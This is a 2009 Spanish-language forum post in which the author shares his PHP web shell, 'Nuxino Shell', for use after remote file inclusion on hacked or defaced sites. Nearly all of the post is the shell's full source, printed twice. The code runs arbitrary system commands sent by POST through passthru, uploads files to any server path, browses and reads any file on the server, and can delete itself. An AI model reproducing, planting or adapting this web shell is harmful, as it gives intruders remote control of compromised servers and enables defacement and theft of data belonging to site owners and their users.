Mi shell para rfi
Publicado: 08 Jun 2009, 18:16
Aunque no veo mucho movimiento por aqui de hack/deface os dejo a algo que tengo como a un hijo, mi shell php, ya se que no es bonita, pero siempre me ha servido y fue creo lo primero que programe en php hace muuuucho tiempo(5 años o mas).
<html><head><title>Nuxino Shell</title>
<STYLE>
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
BACKGROUND-COLOR:black;
}
textarea {BACKGROUND-COLOR: #000000;COLOR: #ffffff;}
BODY {BACKGROUND-COLOR:black;COLOR: #ffffff;}
A:link {COLOR:white}
A:visited { COLOR:white}
A:active {COLOR:white}
A:hover {color:white}
</STYLE>
</head><body>
<?php
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$os = php_uname();
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "shell";}
echo "Sistema Operativo: ".$os."<br> Servidor: ".(htmlentities($_SERVER['SERVER_SOFTWARE']))."<br>Ip: ".$_SERVER['REMOTE_ADDR']."<br><br>|<a href=$self?ac=shell> Shell </a>|<a href=$self?ac=navigation> Archivos </a>|<pre>";
switch($ac) {
case "shell":
echo <<<HTML
<table>
<form action="$self" method="POST">
<input type="hidden" name="ac" value="shell">
<tr><td>CMD > <input size="60" type="text" name="c"><input type="submit" value="Ejecutar"></td></tr>
<tr><td>
<textarea cols="60" rows="15">
HTML;
if (!empty($_POST['c'])){
passthru($_POST['c']);
}
echo "</textarea></td>$tend";
echo <<<HTML
<b>Subir archivo</b>
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="shell">
<tr><td>Archivo:</td><td><input size="55" name="file" type="file"></td></tr>
<tr><td>Ruta:</td><td><input size="63" value="$docr/" name="path" type="text"><input type="submit" value="Subir"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Subido correctamente $uploadfile\n";
} else { print "Ha ocurrido un error:\n";}
}
break;
case "navigation":
$images=array(".gif",".jpg",".png",".bmp",".jpeg");
$whereme=getcwd();
@$d=@$_GET['d'];
$copyr = "<center>";
$php_self=@$_SERVER['PHP_SELF'];
if(@eregi("/",$whereme)){$os="unix";}
if(!isset($d)){$d=$whereme;}
$d=str_replace("\\","/",$d);
$expl=explode("/",$d);
$coun=count($expl);
if($os=="unix"){echo "<a href='$php_self?ac=navigation&d=/'>/</a>";}
else{
echo "<a href='$php_self?ac=navigation&d=$expl[0]'>$expl[0]/</a>";}
for($i=1; $i<$coun; $i++){
@$xx.=$expl[$i]."/";
$sls="<a href='$php_self?ac=navigation&d=$expl[0]/$xx'>$expl[$i]</a>/";
$sls=str_replace("//","/",$sls);
$sls=str_replace("/'></a>/","/'></a>",$sls);
print $sls;
}
echo "</td></tr>";
if(@$_GET['e']){
$d=@$_GET['d'];
$e=@$_GET['e'];
$pinf=pathinfo($e);
$filename="$d/$e";
$fd = @fopen ($filename, "r");
$c = @fread ($fd, @filesize ($filename));
$c=htmlspecialchars($c);
$de=$d."/".$e;
$de=str_replace("//","/",$de);
echo "<table><tr><td><pre>$c</pre></td></tr></table>";
exit;
}
$dirs=array();
$files=array();
$dh = @opendir($d) or die("<table><tr><td><center>No se ha podido abrir!</center><br>$copyr</td></tr></table>");
while (!(($file = readdir($dh)) === false)) {
if ($file=="." || $file=="..") continue;
if (@is_dir("$d/$file")) {
$dirs[]=$file;
}else{
$files[]=$file;
}
sort($dirs);
sort($files);
$fz=@filesize("$d/$file");
}
function perm($perms){
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
for ($i=0;$i<sizeof($dirs);$i++) {
if ($dirs[$i] != "..") {
$perms = @fileperms($d."/".$dirs[$i]);
$owner = @fileowner($d."/".$dirs[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$dirs[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
$linkd="<a href='$php_self?ac=navigation&d=$d/$dirs[$i]'>$dirs[$i]</a>";
$linkd=str_replace("//","/",$linkd);
echo "<br><tr><td><font face=wingdings size=2>0</font>$linkd</td> </td><td>$info</td></tr>";
}
}
for ($i=0;$i<sizeof($files);$i++) {
$size=@filesize($d."/".$files[$i]);
$perms = @fileperms($d."/".$files[$i]);
$owner = @fileowner($d."/".$files[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$files[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$prava=perm($perms);
if ($size < 1024){$siz=' '.$size.' b ';
}else{
if ($size < 1024*1024){$siz=' '.number_format(($size/1024), 2, '.', '').' kb ';}else{
if ($size < 1000000000){$siz=' '.number_format($size/(1024*1024), 2, '.', '').' mb ';}else{
if ($size < 1000000000000){$siz=' '.number_format($size/(1024*1024*1024), 2, '.', '').' gb ';}
}}}
echo "<br><tr><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]''>$files[$i]</a></td><td>$siz</td><td>$prava</td></tr>";
}
echo "</table></td></tr></table>";
break;
}
if($p=="yes"){
$path=__FILE__;
@unlink($path);
$path=str_replace("\\","/",$path);
}
?>
</pre></body></html>
<html><head><title>Nuxino Shell</title>
<STYLE>
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
BACKGROUND-COLOR:black;
}
textarea {BACKGROUND-COLOR: #000000;COLOR: #ffffff;}
BODY {BACKGROUND-COLOR:black;COLOR: #ffffff;}
A:link {COLOR:white}
A:visited { COLOR:white}
A:active {COLOR:white}
A:hover {color:white}
</STYLE>
</head><body>
<?php
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$os = php_uname();
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "shell";}
echo "Sistema Operativo: ".$os."<br> Servidor: ".(htmlentities($_SERVER['SERVER_SOFTWARE']))."<br>Ip: ".$_SERVER['REMOTE_ADDR']."<br><br>|<a href=$self?ac=shell> Shell </a>|<a href=$self?ac=navigation> Archivos </a>|<pre>";
switch($ac) {
case "shell":
echo <<<HTML
<table>
<form action="$self" method="POST">
<input type="hidden" name="ac" value="shell">
<tr><td>CMD > <input size="60" type="text" name="c"><input type="submit" value="Ejecutar"></td></tr>
<tr><td>
<textarea cols="60" rows="15">
HTML;
if (!empty($_POST['c'])){
passthru($_POST['c']);
}
echo "</textarea></td>$tend";
echo <<<HTML
<b>Subir archivo</b>
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="shell">
<tr><td>Archivo:</td><td><input size="55" name="file" type="file"></td></tr>
<tr><td>Ruta:</td><td><input size="63" value="$docr/" name="path" type="text"><input type="submit" value="Subir"></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Subido correctamente $uploadfile\n";
} else { print "Ha ocurrido un error:\n";}
}
break;
case "navigation":
$images=array(".gif",".jpg",".png",".bmp",".jpeg");
$whereme=getcwd();
@$d=@$_GET['d'];
$copyr = "<center>";
$php_self=@$_SERVER['PHP_SELF'];
if(@eregi("/",$whereme)){$os="unix";}
if(!isset($d)){$d=$whereme;}
$d=str_replace("\\","/",$d);
$expl=explode("/",$d);
$coun=count($expl);
if($os=="unix"){echo "<a href='$php_self?ac=navigation&d=/'>/</a>";}
else{
echo "<a href='$php_self?ac=navigation&d=$expl[0]'>$expl[0]/</a>";}
for($i=1; $i<$coun; $i++){
@$xx.=$expl[$i]."/";
$sls="<a href='$php_self?ac=navigation&d=$expl[0]/$xx'>$expl[$i]</a>/";
$sls=str_replace("//","/",$sls);
$sls=str_replace("/'></a>/","/'></a>",$sls);
print $sls;
}
echo "</td></tr>";
if(@$_GET['e']){
$d=@$_GET['d'];
$e=@$_GET['e'];
$pinf=pathinfo($e);
$filename="$d/$e";
$fd = @fopen ($filename, "r");
$c = @fread ($fd, @filesize ($filename));
$c=htmlspecialchars($c);
$de=$d."/".$e;
$de=str_replace("//","/",$de);
echo "<table><tr><td><pre>$c</pre></td></tr></table>";
exit;
}
$dirs=array();
$files=array();
$dh = @opendir($d) or die("<table><tr><td><center>No se ha podido abrir!</center><br>$copyr</td></tr></table>");
while (!(($file = readdir($dh)) === false)) {
if ($file=="." || $file=="..") continue;
if (@is_dir("$d/$file")) {
$dirs[]=$file;
}else{
$files[]=$file;
}
sort($dirs);
sort($files);
$fz=@filesize("$d/$file");
}
function perm($perms){
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
for ($i=0;$i<sizeof($dirs);$i++) {
if ($dirs[$i] != "..") {
$perms = @fileperms($d."/".$dirs[$i]);
$owner = @fileowner($d."/".$dirs[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$dirs[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
$linkd="<a href='$php_self?ac=navigation&d=$d/$dirs[$i]'>$dirs[$i]</a>";
$linkd=str_replace("//","/",$linkd);
echo "<br><tr><td><font face=wingdings size=2>0</font>$linkd</td> </td><td>$info</td></tr>";
}
}
for ($i=0;$i<sizeof($files);$i++) {
$size=@filesize($d."/".$files[$i]);
$perms = @fileperms($d."/".$files[$i]);
$owner = @fileowner($d."/".$files[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$files[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$prava=perm($perms);
if ($size < 1024){$siz=' '.$size.' b ';
}else{
if ($size < 1024*1024){$siz=' '.number_format(($size/1024), 2, '.', '').' kb ';}else{
if ($size < 1000000000){$siz=' '.number_format($size/(1024*1024), 2, '.', '').' mb ';}else{
if ($size < 1000000000000){$siz=' '.number_format($size/(1024*1024*1024), 2, '.', '').' gb ';}
}}}
echo "<br><tr><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]''>$files[$i]</a></td><td>$siz</td><td>$prava</td></tr>";
}
echo "</table></td></tr></table>";
break;
}
if($p=="yes"){
$path=__FILE__;
@unlink($path);
$path=str_replace("\\","/",$path);
}
?>
</pre></body></html>